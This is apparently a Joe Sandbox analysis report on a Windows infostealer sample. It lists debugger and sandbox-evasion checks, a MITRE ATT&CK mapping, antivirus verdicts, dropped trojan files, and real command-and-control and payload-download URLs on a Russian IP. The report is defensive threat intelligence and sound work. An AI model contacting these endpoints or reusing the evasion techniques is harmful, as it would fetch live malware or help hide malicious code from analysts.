Source: 8V0INSl0E2.exe, 00000000.00000002.2593780499.00000000009A7000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Amcache.hve.6.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\8V0INSl0E2.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\8V0INSl0E2.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\8V0INSl0E2.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\8V0INSl0E2.exe	File opened: NTICE
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	File opened: SICE
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\8V0INSl0E2.exe

Code function: 0_2_0081CE4C rdtsc

Source: C:\Users\user\Desktop\8V0INSl0E2.exe

Code function: 0_2_0040C0B3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

Source: C:\Users\user\Desktop\8V0INSl0E2.exe

Code function: 0_2_00402950 VirtualProtect,GetLastError,FormatMessageA,LocalAlloc,OutputDebugStringA,LocalFree,LocalFree,LocalFree,

Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_3_04D12A6F mov eax, dword ptr fs:[00000030h]		0_3_04D12A6F
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_3_04D0E30D mov eax, dword ptr fs:[00000030h]		0_3_04D0E30D
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_0041366F mov eax, dword ptr fs:[00000030h]		0_2_0041366F
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_0040EF0D mov eax, dword ptr fs:[00000030h]		0_2_0040EF0D
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_10007A76 mov eax, dword ptr fs:[00000030h]		0_2_10007A76
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_10005F25 mov eax, dword ptr fs:[00000030h]		0_2_10005F25
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_00E19CCB push dword ptr fs:[00000030h]		0_2_00E19CCB
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_04B50D90 mov eax, dword ptr fs:[00000030h]		0_2_04B50D90
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_04B638D6 mov eax, dword ptr fs:[00000030h]		0_2_04B638D6
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_04B5092B mov eax, dword ptr fs:[00000030h]		0_2_04B5092B
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_04B5F174 mov eax, dword ptr fs:[00000030h]		0_2_04B5F174

Source: C:\Users\user\Desktop\8V0INSl0E2.exe

Code function: 0_2_00402C70 SetLastError,SetLastError,SetLastError,GetNativeSystemInfo,VirtualAlloc,VirtualAlloc,VirtualAlloc,GetProcessHeap,HeapAlloc,VirtualFree,SetLastError,VirtualAlloc,

Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_0040C0B3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_0040C0B3
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_00409949 SetUnhandledExceptionFilter,		0_2_00409949
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_00408ED5 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_00408ED5
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_004097B2 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_004097B2
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_10002ADF SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_10002ADF
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_04B5913C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_04B5913C
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_04B59A19 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_04B59A19
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_04B59BB0 SetUnhandledExceptionFilter,		0_2_04B59BB0
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_04B5C31A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_04B5C31A

Source: 8V0INSl0E2.exe, 8V0INSl0E2.exe, 00000000.00000002.2593780499.00000000009A7000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\8V0INSl0E2.exe

Code function: 0_3_04D08DB3 cpuid

Source: C:\Users\user\Desktop\8V0INSl0E2.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\8V0INSl0E2.exe

Code function: 0_2_00409BE5 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

Source: C:\Users\user\Desktop\8V0INSl0E2.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.6.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: MsMpEng.exe

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	3 Command and Scripting Interpreter	1 DLL Side-Loading	2 Process Injection	11 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	24 Virtualization/Sandbox Evasion	LSASS Memory	781 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	12 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	2 Process Injection	Security Account Manager	24 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	3 Process Discovery	Distributed Component Object Model	Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	13 Software Packing	Cached Domain Credentials	224 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Timestomp	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
8V0INSl0E2.exe	46%	Virustotal		Browse
8V0INSl0E2.exe	29%	ReversingLabs	Win32.Infostealer.Generic
8V0INSl0E2.exe	100%	Avira	HEUR/AGEN.1320706
8V0INSl0E2.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\4e3E3fF4Re2d\Y-Cleaner.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]	75%	ReversingLabs	ByteCode-MSIL.Trojan.Malgent
C:\Users\user\AppData\Local\Temp\4e3E3fF4Re2d\Bunifu_UI_v1.5.3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\4e3E3fF4Re2d\Y-Cleaner.exe	75%	ReversingLabs	ByteCode-MSIL.Trojan.Malgent

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

⊘No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.156.73.23/soft/download	false		unknown
http://185.156.73.23/add?substr=mixtwo&s=three&sub=emp	false		unknown
http://185.156.73.23/dll/download	false		unknown
http://185.156.73.23/files/download	false		unknown
http://185.156.73.23/dll/key	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.156.73.23/files/downloadL	8V0INSl0E2.exe, 00000000.00000003.2014209317.0000000005695000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2014161842.0000000005694000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.156.73.23/files/downloadR	8V0INSl0E2.exe, 00000000.00000003.2181246404.0000000005695000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.1988602176.0000000005695000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.1962895394.0000000005695000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.1988563995.0000000005694000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.1962851502.0000000005694000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.156.73.23/files/downloadLMEM	8V0INSl0E2.exe, 00000000.00000003.2207016969.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2155531924.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2123109115.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2181277836.00000000055A3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://upx.sf.net	Amcache.hve.6.dr	false		high
http://185.156.73.23/add?substr=mixtwo&s=three&sub=emp6	8V0INSl0E2.exe, 00000000.00000003.1988617920.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2042997729.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2207016969.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2071804222.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2155531924.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.1962911380.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2014226817.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2097397285.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2123109115.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2235769427.00000000055A5000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2181277836.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000002.2599789113.00000000055A0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.ccleaner.comqhttps://take.rdrct-now.online/go/ZWKA?p78705p298845p1174	8V0INSl0E2.exe, 00000000.00000003.2310921972.0000000005672000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2292070169.00000000057DE000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	false		high
http://185.156.73.23/files/download23/add?substr=mixtwo&s=three&sub=emp	8V0INSl0E2.exe, 00000000.00000003.2042997729.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2207016969.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2071804222.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2155531924.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2097397285.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2123109115.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2181277836.00000000055A3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.156.73.23/dll/downloadUU?k	8V0INSl0E2.exe, 00000000.00000002.2597322172.0000000000EB7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.156.73.23/add?substr=mixtwo&s=three&sub=empj	8V0INSl0E2.exe, 00000000.00000003.1988617920.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2042997729.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2207016969.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2071804222.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2155531924.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.1962911380.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2014226817.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2097397285.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2123109115.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2235769427.00000000055A5000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2181277836.00000000055A3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.156.73.23/files/downloadd	8V0INSl0E2.exe, 00000000.00000003.1988602176.0000000005695000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.1988563995.0000000005694000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2071744460.0000000005694000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2071787898.0000000005695000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.156.73.23/files/download23/files/downloadLMEM	8V0INSl0E2.exe, 00000000.00000003.2235769427.00000000055A5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.156.73.23/soft/downloaduQ	8V0INSl0E2.exe, 00000000.00000003.2278027819.000000000563D000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2278057212.0000000005641000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.156.73.23/files/downloadwT	8V0INSl0E2.exe, 00000000.00000002.2597322172.0000000000EB7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.156.73.23/files/downloadwo&s=three&sub=emp	8V0INSl0E2.exe, 00000000.00000003.2181277836.00000000055A3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://g-cleanit.hk	8V0INSl0E2.exe, 00000000.00000003.2310921972.0000000005672000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2292070169.00000000057DE000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	false		high
http://185.156.73.23/files/downloadv	8V0INSl0E2.exe, 00000000.00000003.2207000227.0000000005695000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.156.73.23/files/download8	8V0INSl0E2.exe, 00000000.00000003.2207000227.0000000005695000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.156.73.23/dll/downloadcTAj-	8V0INSl0E2.exe, 00000000.00000002.2597322172.0000000000EB7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.156.73.23/files/downloadft	8V0INSl0E2.exe, 00000000.00000003.2207016969.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2235769427.00000000055A5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://iplogger.org/1Pz8p7	8V0INSl0E2.exe, 00000000.00000003.2310921972.0000000005672000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2292070169.00000000057DE000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	false		high
http://185.156.73.23/files/download23/files/downloadwo&s=three&sub=emp	8V0INSl0E2.exe, 00000000.00000003.1988617920.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2207016969.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2071804222.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2155531924.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.1962911380.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2014226817.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2097397285.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2123109115.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2235769427.00000000055A5000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2181277836.00000000055A3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.156.73.23/add?substr=mixtwo&s=three&sub=empL	8V0INSl0E2.exe, 00000000.00000003.1988617920.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2042997729.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2207016969.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2071804222.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2155531924.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.1962911380.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2014226817.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2097397285.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2123109115.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2235769427.00000000055A5000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2181277836.00000000055A3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.156.73.23/files/downloadF	8V0INSl0E2.exe, 00000000.00000003.2042934125.0000000005694000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2042981291.0000000005695000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.156.73.23	unknown	Russian Federation		48817	RELDAS-NETRU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578890
Start date and time:	2024-12-20 16:17:51 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 37s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	8V0INSl0E2.exe renamed because original name is a hash value
Original Sample Name:	e6a1c97a26a0901473f9ca53cd39967f.exe
Detection:	MAL
Classification:	mal100.evad.winEXE@2/15@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 104.208.16.94, 172.202.163.200, 13.107.246.43, 20.190.147.5
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, login.live.com, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com, onedsblobprdcus16.centralus.cloudapp.azure.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
10:19:17	API Interceptor	318x Sleep call for process: 8V0INSl0E2.exe modified
10:20:14	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.156.73.23	BEd2lJRXFM.exe	Get hash	malicious	Unknown	Browse	185.156.73.23/soft/download

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
RELDAS-NETRU	BEd2lJRXFM.exe	Get hash	malicious	Unknown	Browse	185.156.73.23
RELDAS-NETRU	beacon.exe	Get hash	malicious	CobaltStrike	Browse	185.156.73.37

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]	BEd2lJRXFM.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_8V0INSl0E2.exe_ef414f60b97aab6c3afd46a15e46d4039d87ea2_4647e6a4_0dbddfc4-5cad-4195-8eae-33e445de4c59\Report.wer

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9833812863816939
Encrypted:	false
SSDEEP:	96:jBF+mNrPd3yksk9hNkf7YjSYQXIDcQac6mcEVcw3O1z+HbHg/8BRTf3Oy1oVazWK:jj+mJAkQ0UivTjud3szuiFbZ24IO8i
MD5:	C387979784035DD6E170DE67191D92C6
SHA1:	94224582BB5FBBBF31F3E7B4353418B8E10694FB
SHA-256:	FA33BF6EE4499B3A2717B21170F770C2DE5ECDA4473D1BE74AC72F15FD51D71C
SHA-512:	CEA360AFA3A5E6260CBE8C6101A184260ED35971AB90EA00C29D695521072532E6EAFBE2506A5C63A88651F34184D4725E84DE3F6EF7F5AB4DCCEDC5C0AAF3D3
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.9.1.8.1.5.8.7.2.1.9.8.4.2.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.9.1.8.1.5.8.8.0.6.3.5.8.8.2.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.d.b.d.d.f.c.4.-.5.c.a.d.-.4.1.9.5.-.8.e.a.e.-.3.3.e.4.4.5.d.e.4.c.5.9.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.0.0.d.7.8.a.4.-.f.e.0.c.-.4.5.9.8.-.b.1.c.7.-.1.a.5.4.a.6.d.a.2.2.9.c.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.8.V.0.I.N.S.l.0.E.2...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.0.6.0.-.0.0.0.1.-.0.0.1.4.-.4.2.6.6.-.1.2.7.7.f.2.5.2.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.2.1.d.b.1.9.1.d.e.d.4.8.8.2.2.0.1.5.3.9.8.5.3.7.f.e.b.9.8.0.1.6.0.0.0.0.f.f.f.f.!.0.0.0.0.1.6.d.0.6.0.d.6.5.1.1.4.d.8.9.e.9.c.2.e.e.5.5.1.6.b.e.1.c.4.c.9.5.f.6.0.d.3.9.e.!.8.V.0.I.N.S.l.0.E.2...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB312.tmp.dmp

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Dec 20 15:19:47 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	46310
Entropy (8bit):	2.544526206867797
Encrypted:	false
